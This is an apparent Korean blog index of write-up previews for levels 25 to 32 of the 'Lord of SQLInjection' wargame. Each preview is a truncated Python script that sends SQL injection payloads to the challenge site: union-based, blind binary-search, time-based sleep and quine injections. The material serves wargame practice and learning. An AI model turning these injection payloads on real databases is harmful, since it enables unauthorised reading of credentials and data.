고퍼

LOS :: 32번 ALIEN

WRITE UP 12345678910111213import requests url = "http://los.rubiya.kr/alien_91104597bf79b4d893425b65c166d484.php"session = {'PHPSESSID':'MY_SESSION'}res=''data = {'no':"0||id=' #' " + "union select * from (select 0x62 as t union select 0x61646d696e) as k " + "where ascii(mid(t,1,1))

Wargame/LOS(rubiya) 2018. 8. 27. 16:58

LOS :: 31번 ZOMBIE

WRITE UP 12345678910import requests url = "http://los.rubiya.kr/zombie_78238dee92f8ed0f508b0e9e00fc0e49.php"session = {'PHPSESSID':'MY_SESSION'}data = {'pw':"' union select mid(info,38,67) from information_schema.processlist#"} res = requests.get(url, params=data, cookies = session) if "Clear!" in res.text: print("[♪] ZOMBIE Clear!")Colored by Color Scriptercs

Wargame/LOS(rubiya) 2018. 8. 27. 16:57

LOS :: 30번 OUROBOROS

WRITE UP 1234567891011121314151617181920212223242526272829303132333435import requests url = "http://los.rubiya.kr/ouroboros_e3f483f087c922c84373b49950c212a9.php"session = {'PHPSESSID':'MY_SESSION'} data = {'pw':"' union " + "select replace" + "(" + "replace" + "('" + "\" union select replace" + "(" + "replace" + "(" + "\"$\",char(34),char(39)" + ")" + ",char(36),\"$\"" + ")" + " as quine#',char(..

Wargame/LOS(rubiya) 2018. 8. 27. 16:55

LOS :: 29번 PHANTOM

WRITE UP 1234567891011121314151617181920212223242526272829import requests url = "http://los.rubiya.kr/phantom_e2e30eaf1c0b3cb61b4b72a932c849fe.php"session = {'PHPSESSID':'MY_SESSION'}data = {}flag="" print("[∞] flag : ", end='') for i in range(1,27): a=0 b=127 while b-a!=0: center = a+(b-a)//2+1 data['joinmail'] = "1'*1 and if((select ord(mid(email,"+str(i)+",1)) from prob_phantom a where no=1)

Wargame/LOS(rubiya) 2018. 8. 27. 16:54

LOS :: 28번 FRANKENSTEIN

WRITE UP 123456789101112131415161718192021222324252627282930313233import requestsimport re url = "http://los.rubiya.kr/frankenstein_b5bab23e64777e1756174ad33f14b5db.php"session = {'PHPSESSID':'MY_SESSION'}data = {} flag="" a=0b=0xffffffffffffffffffffwhile b-a!=0: center = hex(a+(b-a)//2+1) if(len(center)%2!=0): center = "0x0"+center[2:] data['pw']="' or id='admin' and case when pw

Wargame/LOS(rubiya) 2018. 8. 27. 16:52

LOS :: 27번 BLUE_DRAGON

WRITE UP 12345678910111213141516171819202122232425262728293031import requestsimport time url = "http://los.rubiya.kr/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"session = {'PHPSESSID':'MY_SESSION'}data={}flag=""print("[∞] flag : ",end='') for i in range(1,9): a=0 b=126 while b-a!=0: center = a+(b-a)//2 data['pw']="' or id='admin' and if(ord(mid(pw,"+str(i)+",1))>"+str(center)+",1,sleep(2))#..

Wargame/LOS(rubiya) 2018. 8. 27. 16:50

LOS :: 26번 RED_DRAGON

WRITE UP 123456789101112131415161718192021222324252627282930import requestsimport re url = "http://los.rubiya.kr/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php"session = {'PHPSESSID':'MY_SESSION'}data = {'id':"'||pw

Wargame/LOS(rubiya) 2018. 8. 27. 16:49

LOS :: 25번 GREEN_DRAGON

WRITE UP 12345678910import requests url = "http://los.rubiya.kr/green_dragon_74d944f888fd3f9cf76e4e230e78c45b.php"session = {'PHPSESSID':'MY_SESSION'}data = {'id':"\\", 'pw':" union select 0x5c,0x20756E696F6E2073656C6563742030783631363436443639364523#"} res = requests.get(url, params=data, cookies = session) if "Clear!" in res.text: print("[♪] GREEN_DRAGON Clear!")Colored by Color Scriptercs

Wargame/LOS(rubiya) 2018. 8. 27. 13:05